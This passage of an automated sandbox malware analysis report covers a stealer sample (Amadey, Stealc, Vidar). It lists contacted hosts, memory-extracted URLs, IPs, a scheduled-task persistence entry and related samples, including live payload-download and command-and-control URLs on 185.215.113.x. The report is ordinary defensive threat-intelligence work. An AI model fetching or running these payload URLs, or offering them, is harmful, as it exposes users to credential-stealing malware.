plus.l.google.com	172.217.17.78	true	false	high
play.google.com	172.217.19.206	true	false	high
www.google.com	142.250.181.100	true	false	high
ax-0001.ax-msedge.net	150.171.27.10	true	false	high
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	high
ogs.google.com	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high
http://185.215.113.206/	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239360492575_1SSJ82L6CB3K86OHJ&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239381017117_1ROIJVZPQMMXB3DRW&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239355218553_1LXSNCROYYRJXQ4E3&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90	false	high
http://185.215.113.16/mine/random.exe	false	high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239360298759_18SWFMUKVYFM3YLDD&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90	false	high
http://185.215.113.43/Zu7JuNko/index.php	false	high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239402613045_1Y7ZSJRVESY5KBVS8&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239381017118_14OTD3KROFLZNBXSD&pid=21.2&c=3&w=1920&h=1080&dynsize=1&qlt=90	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
http://185.215.113.206/68b591d6548ec281/mozglue.dll	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239355218552_1GHGVUO61DTQZRTHX&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90	false	high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239357290389_1WHXB2JL6W3CH3HF1&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239402613046_1VJ8MQN6OLRO0EVHP&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90	false	high
http://185.215.113.206/68b591d6548ec281/msvcp140.dll	false	high
http://185.215.113.206/c4becf79229cb002.php	false	high
https://www.google.com/async/newtab_promos	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239360492574_10ZLIEYNNW01DP6QS&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90	false	high
https://www.google.com/async/ddljson?async=ntp:2	false	high
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239357290388_16CMXFO1MXGSZHTL5&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90	false	high
https://tse1.mm.bing.net/th?id=OADD2.10239360298760_1IGUAAO0S19XMZR4M&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2384315646.0000000001681000.00000004.00000020.00020000.00000000.sdmp, FIJKEHJJ.0.dr	false		high
http://185.215.113.16/luma/random.exec61395dd	skotes.exe, 00000017.00000002.3414131340.0000000000CBE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2384315646.0000000001681000.00000004.00000020.00020000.00000000.sdmp, FIJKEHJJ.0.dr	false		high
http://www.broofa.com	chromecache_219.4.dr	false		high
http://185.215.113.2061	file.exe, 00000000.00000002.2762226429.00000000015AE000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpNc	skotes.exe, 00000017.00000002.3414131340.0000000000CBE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/luma/random.exe61395d7	skotes.exe, 00000017.00000002.3414131340.0000000000CBE000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpn#n	file.exe, 00000000.00000002.2762226429.0000000001622000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/luma/random.exe012819001	skotes.exe, 00000017.00000002.3414131340.0000000000CBE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.2384315646.0000000001681000.00000004.00000020.00020000.00000000.sdmp, FIJKEHJJ.0.dr	false		high
http://185.215.113.206/c4becf79229cb002.php1c2fec0e1cf74e8735ec95795d26Extension	file.exe, 00000000.00000002.2758018084.000000000075C000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: malware	unknown
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	file.exe, 00000000.00000002.2790506666.0000000023992000.00000004.00000020.00020000.00000000.sdmp, GCBGIIECGHCAKECAFBFH.0.dr	false		high
http://185.215.113.16/luma/random.exe	skotes.exe, 00000017.00000002.3414131340.0000000000CBE000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dllJ6	file.exe, 00000000.00000002.2762226429.0000000001622000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.google.com	chromecache_219.4.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpation	file.exe, 00000000.00000002.2758018084.0000000000714000.00000040.00000001.01000000.00000003.sdmp	false		high
http://185.215.113.206/68b591d6548ec281/softokn3.dll5Tf	file.exe, 00000000.00000002.2762226429.0000000001607000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/Yg	file.exe, 00000000.00000002.2762226429.0000000001607000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.43/Zu7JuNko/index.php.c	skotes.exe, 00000017.00000002.3414131340.0000000000CBE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/mine/random.exeBCP	file.exe, 00000000.00000002.2762226429.0000000001607000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.2384315646.0000000001681000.00000004.00000020.00020000.00000000.sdmp, FIJKEHJJ.0.dr	false		high
http://185.215.113.206/68b591d6548ec281/nss3.dllYUB	file.exe, 00000000.00000002.2762226429.0000000001607000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/luma/random.exep	skotes.exe, 00000017.00000002.3414131340.0000000000CBE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://apis.google.com	chromecache_219.4.dr	false		high
http://185.215.113.206ta	file.exe, 00000000.00000002.2758018084.0000000000714000.00000040.00000001.01000000.00000003.sdmp	false		high
http://www.sqlite.org/copyright.html.	file.exe, 00000000.00000002.2787812999.000000001D96C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2795708318.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	false		high
http://185.215.113.16/fac00b58987e8e7e7b9ca30804042ba5ce90241545	skotes.exe, 00000017.00000002.3414131340.0000000000CA8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		high
http://185.215.113.16/luma/random.exe6139	skotes.exe, 00000017.00000002.3414131340.0000000000CBE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/c4becf79229cb002.phpge	file.exe, 00000000.00000002.2758018084.0000000000714000.00000040.00000001.01000000.00000003.sdmp	false		high
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.2384315646.0000000001681000.00000004.00000020.00020000.00000000.sdmp, FIJKEHJJ.0.dr	false		high
http://185.215.113.206/68b591d6548ec281/nss3.dlloUT	file.exe, 00000000.00000002.2762226429.0000000001607000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.	file.exe, 00000000.00000002.2790506666.0000000023992000.00000004.00000020.00020000.00000000.sdmp, GCBGIIECGHCAKECAFBFH.0.dr	false		high
http://185.215.113.16/c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415	skotes.exe, 00000017.00000002.3414131340.0000000000CA8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/mine/random.exeIC	file.exe, 00000000.00000002.2762226429.0000000001607000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	GCBGIIECGHCAKECAFBFH.0.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2384315646.0000000001681000.00000004.00000020.00020000.00000000.sdmp, FIJKEHJJ.0.dr	false		high
http://185.215.113.206/c4becf79229cb002.php&-	file.exe, 00000000.00000002.2790506666.000000002399F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2384315646.0000000001681000.00000004.00000020.00020000.00000000.sdmp, FIJKEHJJ.0.dr	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	HDGCGHIJKEGIECBFCBAECGIEBK.0.dr	false		high
http://185.215.113.206/c4becf79229cb002.php2	file.exe, 00000000.00000002.2790506666.000000002399F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_	file.exe, 00000000.00000002.2790506666.0000000023992000.00000004.00000020.00020000.00000000.sdmp, GCBGIIECGHCAKECAFBFH.0.dr	false		high
http://185.215.113.16/luma/random.exeem32	skotes.exe, 00000017.00000002.3414131340.0000000000C6B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.2384315646.0000000001681000.00000004.00000020.00020000.00000000.sdmp, FIJKEHJJ.0.dr	false		high
http://185.215.113.16/	skotes.exe, 00000017.00000002.3414131340.0000000000CA8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://play.google.com/log?format=json&hasfast=true	chromecache_219.4.dr	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt	HDGCGHIJKEGIECBFCBAECGIEBK.0.dr	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000002.2790506666.0000000023992000.00000004.00000020.00020000.00000000.sdmp, GCBGIIECGHCAKECAFBFH.0.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpG	file.exe, 00000000.00000002.2790506666.000000002399F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3	file.exe, 00000000.00000002.2790506666.0000000023992000.00000004.00000020.00020000.00000000.sdmp, GCBGIIECGHCAKECAFBFH.0.dr	false		high
http://185.215.113.16/luma/random.exe2	skotes.exe, 00000017.00000002.3414131340.0000000000CA8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/luma/random.exe5ckH2	skotes.exe, 00000017.00000002.3414131340.0000000000CBE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.43/Zu7JuNko/index.phpi	skotes.exe, 00000017.00000002.3414131340.0000000000CBE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org	HDGCGHIJKEGIECBFCBAECGIEBK.0.dr	false		high
http://185.215.113.206	file.exe, 00000000.00000002.2758018084.000000000075C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2762226429.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2758018084.0000000000714000.00000040.00000001.01000000.00000003.sdmp	false		high
http://185.215.113.206/68b591d6548ec281/mozglue.dllyVb	file.exe, 00000000.00000002.2762226429.0000000001607000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.2384315646.0000000001681000.00000004.00000020.00020000.00000000.sdmp, FIJKEHJJ.0.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpR	file.exe, 00000000.00000002.2762226429.0000000001622000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	file.exe, 00000000.00000002.2790506666.0000000023992000.00000004.00000020.00020000.00000000.sdmp, GCBGIIECGHCAKECAFBFH.0.dr	false		high
http://185.215.113.4	skotes.exe, 00000017.00000002.3414131340.0000000000CBE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
172.217.19.206	www3.l.google.com	United States	15169	GOOGLEUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
142.250.181.100	www.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true

Private

IP
192.168.2.6
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1570423
Start date and time:	2024-12-07 00:14:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 5s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	25
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@38/52@8/8
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, BackgroundTransferHost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 192.229.221.95, 217.20.58.98, 172.217.21.35, 172.217.17.46, 173.194.222.84, 172.217.17.78, 142.250.181.99, 172.217.19.202, 216.58.208.234, 172.217.17.42, 172.217.19.170, 172.217.17.74, 142.250.181.74, 142.250.181.106, 142.250.181.138, 172.217.21.42, 172.217.19.234, 142.250.181.42, 142.250.181.10, 20.234.120.54
Excluded domains from analysis (whitelisted): www.bing.com, client.wns.windows.com, fs.microsoft.com, accounts.google.com, otelrules.azureedge.net, slscr.update.microsoft.com, asf-ris-prod-neu-azsc.northeurope.cloudapp.azure.com, ris-prod.trafficmanager.net, ctldl.windowsupdate.com, tse1.mm.bing.net, clientservices.googleapis.com, ogads-pa.googleapis.com, g.bing.com, arc.msn.com, fe3cr.delivery.mp.microsoft.com, ris.api.iris.microsoft.com, clients2.google.com, ocsp.digicert.com, redirector.gvt1.com, ocsp.edge.digicert.com, clients.l.google.com, www.gstatic.com, optimizationguide-pa.googleapis.com
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
00:16:08	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
18:15:38	API Interceptor	304x Sleep call for process: file.exe modified
18:17:00	API Interceptor	101x Sleep call for process: skotes.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	3fo6GN17jm.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Nymaim, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
185.215.113.16	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/luma/random.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
plus.l.google.com	https://customervoice.microsoft.com/Pages/ResponsePage.aspx?id=71STY9b6g0G2TUGL0emS8wWPU1E0zmFNnR9SsYf1SC9UREdRTE8xR1FQUFdYSk5WRlZXQ0ZJSlg4NS4u	Get hash	malicious	HTMLPhisher	Browse	142.250.181.110
	Distribution Agreement -21_12_48-December 6, 2024-be1f31b3a4b24beb88d27adfd723203e.pdf	Get hash	malicious	Unknown	Browse	172.217.17.78
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	142.250.181.110
	https://inovamora.com/team/index.html	Get hash	malicious	HTMLPhisher	Browse	142.250.181.110
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.217.17.78
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	142.250.200.238
	https://docs.google.com/presentation/d/e/2PACX-1vQdSuwONgWFnuoaK9jWkn4a4T1fFD4ixA3V2X7f5aWnD4sHxk2b10z2j2TMxkq3G15FQX3bbwReJ2PF/pub?start=false&loop=false&delayms=3000	Get hash	malicious	Unknown	Browse	142.250.181.110
	https://getvideoz.click/	Get hash	malicious	Unknown	Browse	172.217.17.78
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.217.17.78
	https://t.ly/alBFX	Get hash	malicious	Unknown	Browse	172.217.17.78
ax-0001.ax-msedge.net	file.exe	Get hash	malicious	Credential Flusher	Browse	150.171.28.10
	https://www.scribd.com/document/801519291/Advice-Notification#fullscreen&from_embed	Get hash	malicious	HTMLPhisher	Browse	150.171.27.10
	https://www.google.com/url?q=3HOSozuuQiApLjODz3yh&rct=tTPSJ3J3wDFX0jkXyycT&sa=t&esrc=WSECxFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ9mfdQ6lDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp/email.email.panda%C2%ADdoc%C2%AD.net/c/eJxUkE2P2yAQhn-NuWWFARt88CFVY612oypR2m7UywqGwSGJDcLY3c2vryJ1-3EbjeZ99MxrW1Nz4xSxAeYBx_zqbdufVQy8WvbnZ4mHr1v5vX_uDcG2lJxXVAlZk1MLSiPjHKRWYBw4lJZJCRqkEVJZQXzLKBMlo3WpqKz4g6l4zS03pmSmLmVZCIqD9teHqEerbYCHETPx02tOGlCbK7Y5zUiu7SnnOBV8XbCuYJ2O8W8EwlCw7kO_YN3CCt7lcMGx4J8NSlVVAgyKymkGjIKWqBoJ3DlUXIGiDUhX8I6MIXvnQWcfxnsNzgkqLMCqwQZWolF0pTk0K0qZQ7S1QVeTkHo9-tuf0GZ5eheeH9Pm7by_vbzf7PD4ZUdSG09zSoWgIWY_zMOUtXN-7O_-JOHip9-A-fB43HRxdxy-Qfi03b-sbbxIktuPF_8ZV1mnHv_bTPeLpWXkZ0iXKWrAO3SXD-unw3Y8i7e8HH7ki-bz5H4FAAD__zN8qVc	Get hash	malicious	Unknown	Browse	150.171.27.10
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	150.171.27.10
	vUlh7stUHJ.exe	Get hash	malicious	XWorm	Browse	150.171.27.10
	NqL7rahvbn.exe	Get hash	malicious	Unknown	Browse	150.171.27.10
	FtHrPhyWnh.exe	Get hash	malicious	TrojanRansom	Browse	150.171.28.10
	http://url969.uniteddeleverycompany.com/ls/click?upn=u001.H7qy8CwvNpiem-2Bf7DeMFk7YJf68sOidxEWakApUPIOSZg2OY8dbdpgPNdKDwG5r9FFRxGTcDR4Y40gkedjWn5gmaEy2hdp5PhuemKZpyV0zDF4yZB1nSDE1glVUHkAxvk-2Bay1ScD58FIOgYpgYP6N0ScK3-2BfYjxiyiX8IVVnDpwETyB9eFyZIpVwHB3s73fG91OsUU5I5qElZ5zc-2F019KUvyyM6RxeXMegmcNjDutTA-2FnxufBtCMFX4wRkoDOM-2BzzsCiJIoY1mc9q42wLMHiq-2B4vv2-2FqoR1f2l-2BCmuACM5q-2FNbDZQstkQL5-2FH30fC7m19Rn-2BlXgwexRgjH0XwyNE8I2tRC8iv5uAUiLQk1AD6k0bLjsvdQWk9bfnh9YPL7n6nCIBdvs55pyxgyRAhb2C3g-3D-3DzLOu_oNIH2-2FxJ-2FTe1FaVJ1jWIKVy-2BRH8quBB-2F7-2FAZY1zuBa8sYO3A2kRlNC5SRLFjReRDbNAqQc8ija5eyvb3hMHW2LijdhuT99ojcYbvfeVDR6TjM8Iqq-2F4lpz7WKfkjLfs8kULSyk-2BJ2FHXElRwIq2EjJuur8G9AAw0HjpCQ3JV-2F1d4REvZ-2BdaWGeRZa46RgdqnKhZwT4HPC-2Fcr9dZBwLnURfD1x7OZfW9R3B1ZDWRdH1V-2F-2BR-2FWmM6h4NEHHRb9NNBhFNZPaY6piFBOFNOupA2OrFLOTElocKhsbRyDVGAbiBMte7-2BAjR-2BA2H-2F9CP2UREBvDHXsH-2BmlqvAryDrKjjAy8lTbA9nho9WLS1JKeGns5pAqmjv-2FPH8p3m8V8tFEPj2WLqfG6IzXwKcOMYvSrGYkMWMsBKmgc-2Bt-2BOg9a0jxMR-2BByynWcTgKhB44PNmoRQfd9lvEhtXtJnUleVDwJMZbPw60p1K6oxTexhzM9ScXx7kCprkCgMgcfi8rgis43afOn4xM8YRcMg9tIzu64CU7VuKJ-2BMFN5I78-2B8KPrNOjHK5o6ri9rwGpR8XbmEC-2BUi0PISrd7M-2BHCYWlP2o1TBL2OAmqufIzKPL-2F0NYk7NCFq-2BQEFmracNk-2BqqlMZ00PhqEs2JN98lsOxQ6MUbXZMcj-2FhqVBZVN97wkN60D56kJ-2FOQiaa7gW2IP4afUKBiy9Wl-2B0h0QTfxVEz3DZUlxRmNpooAbQL5Uk9Km4liDjAnP-2F9rKBZSc3OZEf33ZNLDn8jMDI2p9XCpZ-2BdDlLCTUAgCLNK0FE-2BJVvF9LYHxIrcC8tpkLszOdDeZHX2xcWm6Lc3y7tQCdb1uaEkAxyHmalygulTA8ODCE0Qj21BBKduU8fdD8C7u4Nqc-2BpJjM-2FhEfOBaq9vq0rNhSs4OVsJ7hESECV5WQ-3D-3D	Get hash	malicious	HTMLPhisher	Browse	150.171.28.10
	Fiyat Teklifi_2038900001-MOKAPTO-06122024.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	150.171.27.10
	file.exe	Get hash	malicious	Credential Flusher	Browse	150.171.27.10
fp2e7a.wpc.phicdn.net	341J08p1Nk.exe	Get hash	malicious	Unknown	Browse	192.229.221.95
	file.exe	Get hash	malicious	PureLog Stealer	Browse	192.229.221.95
	173347927400d8505e200f1b76c0df0392d3948b50b640983683242dde80f09986d2060a0a419.dat-decoded.exe	Get hash	malicious	Remcos	Browse	192.229.221.95
	Simple2.exe	Get hash	malicious	Unknown	Browse	192.229.221.95
	Fiyat Teklifi_2038900001-MOKAPTO-06122024.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	192.229.221.95
	16547.js	Get hash	malicious	MassLogger RAT	Browse	192.229.221.95
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	192.229.221.95
	file.exe	Get hash	malicious	Stealc	Browse	192.229.221.95
	file.exe	Get hash	malicious	LummaC Stealer	Browse	192.229.221.95
	XE5p2qNoWt.exe	Get hash	malicious	Lokibot, PureLog Stealer, zgRAT	Browse	192.229.221.95

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
